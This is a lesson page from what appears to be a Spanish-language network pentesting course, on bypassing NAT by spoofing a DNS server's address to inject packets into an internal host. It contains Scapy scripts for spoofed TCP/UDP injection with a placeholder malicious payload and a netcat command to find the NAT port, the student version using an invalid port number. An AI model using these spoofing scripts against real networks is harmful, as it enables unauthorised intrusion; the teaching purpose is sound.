Inyección de Datos en Redes Internas mediante Puertos Aleatorios

Contenido del curso

Introducción al pentesting a redes

Ataques a protocolos de red

Ataques de ingeniería social

Ataques de denegación de servicio

Ataques a redes inalámbricas

Conclusiones, creación de informe y bibliografía

Tomar examen

Cursos Empresas Blog Live Conf Eventos Precios

0:0010:52

Inyección de Datos en Redes Internas mediante Puertos Aleatorios

Curso de Pentesting a Redes

Clase 18 de 33

Clase 18 / 33

Recursos

¿Cómo se puede utilizar el puerto identificado para inyectar información desde una red externa?

Una vez que has identificado el puerto que el NAT asigna para una transacción saliente, puedes intentar enviar información desde una red externa hacia la interna. Esto se logra considerando que el puerto puede cambiar dependiendo de la transacción, lo cual hace crucial revisarlo para asegurarse del número exacto que debes monitorear. Veamos paso a paso cómo se realiza este procedimiento:

Elige el puerto del servidor DNS: Selecciona una IP y un puerto conocido, como el 8.8.8.8 en el puerto 53, para iniciar una conexión y capturar tráfico.
Configura la herramienta para esperar respuesta:
- Utiliza herramientas como Netcat para establecer una conexión y esperar una respuesta desde la IP a la cual envías la solicitud.
Identifica el puerto de salida: Después de iniciar la conexión, revisa el tráfico para identificar el puerto de salida que la red interna asignó.

¿Cómo construir el paquete con Scapy para enviar datos?

Scapy es una herramienta poderosa para el análisis y generación de paquetes de red, permitiendo crear capas de encapsulado y enviar datos de manera controlada. A continuación, una guía básica para construir un paquete en Python usando Scapy:

from scapy.all import *

# Crea la capa de IP falsificando la IP de origen como la del servidor
ip = IP(src="IP_DEL_SERVIDOR", dst="IP_PUBLICA_DESTINO")

# Crea la capa TCP con el puerto DNS como origen y el puerto identificado como destino
tcp = TCP(sport=53, dport=PUERTO_IDENTIFICADO)

# Añade una carga útil que puede ser un texto plano o código malicioso
payload = Raw(load="Datos o código malicioso")

# Construye el paquete con las capas definidas
paquete = ip/tcp/payload

# Envía el paquete repetidamente
send(paquete, inter=3, loop=1, iface="eth0")

¿Qué consideraciones son cruciales al ejecutar este tipo de ataque?

Monitoreo y respuesta automática:
- En un escenario real, deberías tener un sistema que monitoree automáticamente las conexiones salientes y responda inmediatamente a nuevas solicitudes. Aquí radica la importancia de programar scripts que utilicen Scapy para manejar las respuestas.
Automatización con Python:
- La automatización y el monitoreo pueden mejorarse con scripts de Python, aprovechando que Scapy permite programar para detectar conexiones y puertos de manera dinámica.
Desafío técnico:
- Si bien ejecutar scripts en la consola puede funcionar para pruebas básicas, implementar un programa completo ofrece una solución más práctica en un entorno con múltiples máquinas y servicios activos.

Este enfoque no solo incrementa la eficiencia del ataque, sino que también expone las vulnerabilidades del sistema y subraya la necesidad de mejorar las configuraciones de seguridad y políticas de red. Aprender a utilizar eficazmente herramientas como Scapy, una vez que te has familiarizado con Python, te dotará de mayores capacidades en el ámbito de la seguridad informática. A medida que avances, explorar nuevas posibilidades dentro de este tipo de herramientas puede ser tanto educativo como estimulante.

Jefferson Pacheco Suárez

Hace 3 años

NATBYPASS

El ataque de NATBypass, nos permite aprovecharnos de una vulnerabilidad de este protocolo para, como su nombre lo indica, saltarnoslo y poder generar una conexión directa con el equipo a través de un puerto dado. El cual se deberá conocer a través de un comando que mencionaremos más adelante.

El primer paso es crear el paquete falso con Scapy:

a = Ether()
b = IP(src="8.8.8.8", dst="192.168.120.1")  //src es la red que estamos falsificando y dst es la ip pública
c= UDP(sport=53,dport=44576)  //dport es el puerto de la víctima.
d = raw(bytes_encode("Aqui va el codigo malicioso"))
packet =a/b/c/d

Pero debemos ser rápidos si queremos que el ataque funcione, por lo que, una vez armado el paquete, ejecutamos el comando en nuestra máquina de ubuntu que nos permite conocer el puerto al que enviaremos la solicitud falsificaa.

echo "Mensaje" | nc -vun 8.8.8.8 53
								 ↓		 ↓			  	↓
						   -Usa    -verbose -Puerto
								Netcat -UDP			  DNS	
                       -No DNS
								  		  Inverso

Luego, en mi máquina atacante, reviso Wireshark en los registros DNS, valido el puerto en el protocolo UPD y lo añado al siguiente comando en sapy:

packet[UDP].dport= 535689 → puerto obtenido
sendp(packet,loop=1,inter=3,iface="eth0")

Diego Fernando Ramos Aguirre

Hace 2 años

gracias por el aporte.

Comentarios (11)11 comentarios

Emmanuel Sosa Reyes

Hace 7 años

Esteban Blanco Ortuno

Jose Luis Quintero Sanchez

Hace 6 años

José Ángel Navarro Almendárez

Hace 5 años

Javier Ramos

b a

Daniel Jose Carrillo Herrera

Hace 4 años

David Orlando Toloza Gómez

Cristian David Uribe

Vittorio L

Julián Mejia

Yerson Steven Rojas Barragan

Oscar Jaramillo

Ray Miguel Hernández Cabrera

Irvin Eliud García Pérez

Juan Pablo Perez

Introducción al pentesting a redes

Ethical Hacking y Pruebas de Penetración en Redes

Configuración de Redes y Protocolos para Pentesting Avanzado

Técnicas Avanzadas de Penetration Testing y Explotación de Redes

Configuración y Simulación de Servidor DHCP en Redes Virtuales

Protocolos de Enrutamiento Dinámico: Vector Distancia y Estado Enlace

Configuración y Administración de Quagga para Enrutamiento RIP

Configuración de Protocolos de Enrutamiento Dinámico con Quagga

Configuración de Enrutadores y Redes en Debian

Traducción de Direcciones IP con NAT en Redes Locales

Exploración de Subdominios y DNS para Auditoría de Seguridad

Ataques a protocolos de red

Ataques de Hombre en el Medio: Interceptación con ARP y Ettercap

Ataques MITM y DNS Spoofing en Redes Locales con Kali Linux

Ataque de Hombre en el Medio usando Protocolo DHCP

Ataque y Construcción de Paquetes RIP con Scapy en Python

Inyección de Paquetes y Monitoreo de Tráfico en Redes

Configuración de Interfaces Ficticias y Ataques de Red con Scapy

Inyección de Datos en Redes Internas a través de NAT

Inyección de Datos en Redes Internas mediante Puertos Aleatorios

Ataques de ingeniería social

Ataques de Ingeniería Social: Técnicas y Prevención

Ataques de Ingeniería Social con SET en Kali Linux

Creación de Malware y Estrategias de Ingeniería Social

Clonación de Páginas Web para Redirección de Archivos Maliciosos

Ataques de denegación de servicio

Ataques de Denegación de Servicio: Simulación y Prevención

Ataques de Denegación de Servicio con Hping3 en Kali Linux

Ataques de Denegación de Servicio en Redes Locales

Análisis y Uso de LOIC en Ataques de Denegación de Servicio

Ataques de Denegación de Servicio: Herramientas y Estrategias Seguras

Ataques a redes inalámbricas

Intercepción y análisis de tráfico en redes WiFi con Kali Linux

Auditoría de Redes Inalámbricas con Kali Linux

Captura y análisis de tráfico para obtener contraseñas WiFi

Obtención de contraseñas WPA2 mediante ataques de diccionario

Conclusiones, creación de informe y bibliografía

Elaboración de Informes en Auditorías de Seguridad Informática

Recursos y Recomendaciones en Seguridad Informática

Inyección de Datos en Redes Internas mediante Puertos Aleatorios